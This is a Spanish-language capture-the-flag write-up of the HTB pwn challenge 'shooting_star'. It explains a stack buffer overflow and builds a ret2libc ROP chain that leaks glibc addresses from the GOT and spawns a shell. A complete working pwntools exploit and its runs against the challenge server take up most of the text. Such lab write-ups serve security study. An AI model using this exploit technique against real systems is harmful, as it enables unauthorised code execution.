Shooting star
10 minutos de lectura
Se nos proporciona un binario de 64 bits llamado shooting_star
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
Podemos usar Ghidra para analizar el binario y mirar el código fuente descompilado en C:
void main() {
setup();
write(1, &message, 0x5b);
star();
return;
}
Esta función llama a star
:
void star() {
char option[2];
undefined input_data[64];
read(0, option, 2);
if (option[0] == '1') {
write(1,">> ",3);
read(0, input_data, 512);
write(1, "\nMay your wish come true!\n", 0x1a);
} else if (option[0] == '2') {
write(1, "Isn\'t the sky amazing?!\n", 0x18);
} else if (option[0] == '3') {
write(1, "A star is an astronomical object consisting of a luminous spheroid of plasma held together by its own gravity. The nearest star to Earth is the Sun. Many other stars are visible to the naked eye from Earth during the night, appearing as a multitude of fixed luminous points in the sky due to their immense distance from Earth. Historically, the most prominent stars were grouped into constellations and asterisms, the brightest of which gained proper names. Astronomers have assembled star catalogues that identify the known stars and provide standardized stellar designations.\n", 0x242);
}
}
Vulnerabilidad de Buffer Overflow
El binario es vulnerable a Buffer Overflow porque la variable llamada input_data
tiene 64 bytes asignados como buffer, pero el programa está leyendo hasta 512 bytes de stdin
y guardando los datos en input_data
, desbordando el buffer reservado si el tamaño de los datos de entrada es mayor que 64 bytes.
Podemos verificar que el programa se rompe en esta situación (opción 1
):
$ ./shooting_star
🌠 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> 1
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
May your wish come true!
zsh: segmentation fault (core dumped) ./shooting_star
Debido a que tenemos un binario de 64 bits sin canario, el offset necesario para desbordar el buffer y llegar a la pila (stack) es 72 (ya que después de los 64 bytes reservados se encuentra el valor de $rbp
guardado y justo después la dirección de retorno).
Estrategia de explotación
Como el binario tiene protección NX, tenemos que utilizar Return Oriented Programming (ROP) para ejecutar código arbitrario. Esta técnica hace uso de gadgets, que son conjuntos de intrucciones que terminan en ret
(normalmente). Podemos añadir una lista de direcciones de gadgets en la pila para que cuando un gadget se ejecute, vuelva a la pila y se ejecute el siguiente gadget. De ahí el nombre de ROP chain o cadena ROP.
Esto es un bypass de la protección NX, ya que no estamos ejecutando instrucciones en la pila (shellcode), sino que estamos redirigiendo el programa a direcciones específicas que son ejecutables y que contienen las instrucciones que queremos.
Para conseguir ejecución de comandos, usaremos un ataque ret2libc. Esta técnica consiste en llamar a system
en Glibc usando "/bin/sh"
como primer argumento a la función (que también se encuentra en Glibc). El problema que tenemos que solucionar es ASLR, que es una protección habilitada en librerías compartidas para aleatorizar una dirección base.
Como tenemos que llamar a system
y usar "/bin/sh"
, tenemos que saber las direcciones de dichos valores en Glibc en tiempo de ejecución (estas direcciones serán diferentes en cada ejecución). Por tanto, tenemos que encontrar una manera de fugar una dirección de Glibc porque lo único que es aleatorio es la dirección base de Glibc; el resto de las direcciones se calculan mediante offsets a dicha dirección base.
El proceso de fuga de una función involucra llamar a write
con una dirección de la Tabla de Offsets Globales (Global Offset Table, GOT) como segundo argumento (por ejemplo, setvbuf
). Esta tabla contiene las direcciones reales de las funciones externas usadas por el programa (si han sido resueltas previamente). Como write
se utiliza en el binario, para llamarla, solamente tenemos que usar la Tabla de Enlaces a Procedimentos (Procedure Linkage Table, PLT), que aplica un salto a la dirección real de write
.
Otra consideración es el uso de gadgets. Debido a la convención de llamadas a funciones en binarios de 64 bits, los argumentos de las funciones van en los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Por ejemplo, la instrucción pop rdi
tomará el siguiente valor de la pila lo lo guardará en $rdi
.
Desarrollo del exploit
Perfecto, vamos a empezar con el proceso de fuga. Estos son los valores que necesitamos:
- Dirección del gadget
pop rdi; ret
(0x4012cb
) y del gadgetpop rsi; pop r15; ret
(0x4012c9
):
$ ROPgadget --binary shooting_star | grep -E 'pop r[ds][ix]'
0x00000000004012cb : pop rdi ; ret
0x00000000004012c9 : pop rsi ; pop r15 ; ret
- Direcciones de la GOT:
$ objdump -R shooting_star | grep JUMP
0000000000404018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
0000000000404028 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
- Dirección de
write
en la PLT (0x404018
):
$ objdump -d shooting_star | grep write
0000000000401030 <write@plt>:
401030: ff 25 e2 2f 00 00 jmpq *0x2fe2(%rip) # 404018 <write@GLIBC_2.2.5>
401179: e8 b2 fe ff ff callq 401030 <write@plt>
4011a5: e8 86 fe ff ff callq 401030 <write@plt>
4011c5: e8 66 fe ff ff callq 401030 <write@plt>
4011e5: e8 46 fe ff ff callq 401030 <write@plt>
40124f: e8 dc fd ff ff callq 401030 <write@plt>
- Dirección de
main
(0x401230
):
$ objdump -d shooting_star | grep '<main>'
0000000000401230 <main>:
Fugando direcciones de memoria
Podemos usar este script en Python:
#!/usr/bin/env python3
from pwn import *
context.binary = 'shooting_star'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
pop_rdi_ret = 0x4012cb
pop_rsi_pop_r15_ret = 0x4012c9
write_plt = 0x401030
main_addr = 0x401230
offset = 72
junk = b'A' * offset
def leak(p, function_got: int) -> int:
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(function_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main_addr)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.recvline()
p.recvline()
return u64(p.recv(8))
def main():
p = get_process()
write_got = 0x404018
read_got = 0x404020
setvbuf_got = 0x404028
write_addr = leak(p, write_got)
read_addr = leak(p, read_got)
setvbuf_addr = leak(p, setvbuf_got)
log.info(f'Leaked write() address: {hex(write_addr)}')
log.info(f'Leaked read() address: {hex(read_addr)}')
log.info(f'Leaked setvbuf() address: {hex(setvbuf_addr)}')
p.interactive()
if __name__ == '__main__':
main()
Nótese que write
recibe tres argumentos:
ssize_t write(int fd, const void *buf, size_t count);
Podemos configurar $rdi
y $rsi
con los gadgets anteriores, pero no podemos controlar $rdx
. Afortunadamente, en star
hay algunas llamadas a write
, por lo que $rdx
ya se queda configurado a un valor suficientemente grande (de hecho, 0x1a
) para mostrar las fugas de memoria. Entonces, pondremos $rdi = 1
(descriptor de archivo de stdout
) y la dirección de la GOT en $rsi
. Además, tenemos que poner un valor cualquiera en $r15
.
$ python3 solve.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './shooting_star': pid 1095265
[*] Leaked write() address: 0x7fb89b741060
[*] Leaked read() address: 0x7fb89b740fc0
[*] Leaked setvbuf() address: 0x7fb89b6b7ce0
[*] Switching to interactive mode
\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x06\x9f\x8c\xa0 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> \x00$
Vemos que hemos vuelto al main
y que tenemos las fugas de memoria, en valor hexadecimal. Nótese que hemos vuelto a ejecutar main
porque tenemos que introducir otro payload sin detener el programa.
Ahora podemos calcular la dirección base de Glibc, que se puede realizar con un simple cálculo. Podemos restar la dirección real de setvbuf
y su offset en Glibc para conseguir la dirección base. Vamos a extraer todos los offsets necesarios (nótese que estamos resolviendo el reto en local):
$ ldd shooting_star
linux-vdso.so.1 (0x00007ffe2cd77000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1fdc075000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1fdc281000)
- Offset de
setvbuf
(0x84ce0
):
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep setvbuf
442: 0000000000084ce0 583 FUNC GLOBAL DEFAULT 15 _IO_setvbuf@@GLIBC_2.2.5
1988: 0000000000084ce0 583 FUNC WEAK DEFAULT 15 setvbuf@@GLIBC_2.2.5
- Offset de
system
(0x52290
):
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153ae0 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000052290 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
- Offset de
"/bin/sh"
(0x1b45bd
):
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Obteniendo RCE
Ahora podemos calcular las direcciones reales de system
y "/bin/sh"
en tiempo de ejecución porque tenemos la dirección base de Glibc en tiempo de ejecución. Vamos a probarlo:
setvbuf_offset = 0x84ce0
system_offset = 0x52290
bin_sh_offset = 0x1b45bd
glibc_base_addr = setvbuf_addr - setvbuf_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
$ python3 solve.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './shooting_star': pid 1098417
[*] Leaked write() address: 0x7f31bc319060
[*] Leaked read() address: 0x7f31bc318fc0
[*] Leaked setvbuf() address: 0x7f31bc28fce0
[+] Glibc base address: 0x7f31bc20b000
[*] Switching to interactive mode
\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x86🌠 A shooting star!!
1. Make a wish!
2. Stare at the stars.
3. Learn about the stars.
> \x00$
Como comprobación, vemos que la dirección base de Glibc termina en 000
en hexadecimal, lo cual es correcto. Vamos a terminar el exploit:
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.recv()
p.interactive()
$ python3 solve.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './shooting_star': pid 1102619
[*] Leaked write() address: 0x7f2d16ae8060
[*] Leaked read() address: 0x7f2d16ae7fc0
[*] Leaked setvbuf() address: 0x7f2d16a5ece0
[+] Glibc base address: 0x7f2d169da000
[*] Switching to interactive mode
$ ls
shooting_star solve.py
Genial, ahora vamos a lanzarlo contra la instancia remota:
$ python3 solve.py 159.65.63.151:30635
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 159.65.63.151 on port 30635: Done
[*] Leaked write() address: 0x7f984dd90210
[*] Leaked read() address: 0x7f984dd90140
[*] Leaked setvbuf() address: 0x7f984dd013d0
[+] Glibc base address: 0x7f984dc7c6f0
[*] Switching to interactive mode
/home/ctf/run_challenge.sh: line 2: 33 Segmentation fault ./shooting_star
[*] Got EOF while reading in interactive
$
No conseguimos una shell porque la instancia remota tiene una versión de Glibc diferente. Una manera de conseguirla es buscar por los últimos tres dígitos en hexadecimal de una fuga de memoria (es decir, write
, read
y setvbuf
) en una página como libc.rip. Vemos algunas versiones de Glibc que se ajustan a la búsqueda y los offsets más útiles:
Afortunadamente, la versión que coincide con la que tiene la instancia remota es la primera.
Flag
Después de cambiar los valores de los offsets en el exploit podremos conseguir una shell finalmente:
$ python3 solve.py 159.65.63.151:30635
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 159.65.63.151 on port 30635: Done
[*] Leaked write() address: 0x7ffa01868210
[*] Leaked read() address: 0x7ffa01868140
[*] Leaked setvbuf() address: 0x7ffa017d93d0
[+] Glibc base address: 0x7ffa01758000
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
shooting_star
$ cat flag.txt
HTB{1_w1sh_pwn_w4s_th1s_e4sy}
El exploit completo se puede encontrar aquí: solve.py
. Adicionalmente, este script utiliza la magia de pwntools
para mejorar la experiencia de explotación y evitar poner valores hard-coded: solve_pwntools.py
.
$ python3 solve_pwntools.py
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'shooting_star'
[+] Starting local process './shooting_star': pid 1120483
[*] Leaked write() address: 0x7f13064d5060
[*] Leaked read() address: 0x7f13064d4fc0
[*] Leaked setvbuf() address: 0x7f130644bce0
[+] Glibc base address: 0x7f13063c7000
[*] Switching to interactive mode
$ ls
libc6_2.27-3ubuntu1.4_amd64.so shooting_star solve_pwntools.py solve.py
$
[*] Interrupted
[*] Stopped process './shooting_star' (pid 1120483)
$ python3 solve_pwntools.py 159.65.63.151:30635
[*] './shooting_star'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'shooting_star'
[+] Opening connection to 159.65.63.151 on port 30635: Done
[*] Leaked write() address: 0x7f28f72b8210
[*] Leaked read() address: 0x7f28f72b8140
[*] Leaked setvbuf() address: 0x7f28f72293d0
[+] Glibc base address: 0x7f28f71a8000
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
shooting_star
$ cat flag.txt
HTB{1_w1sh_pwn_w4s_th1s_e4sy}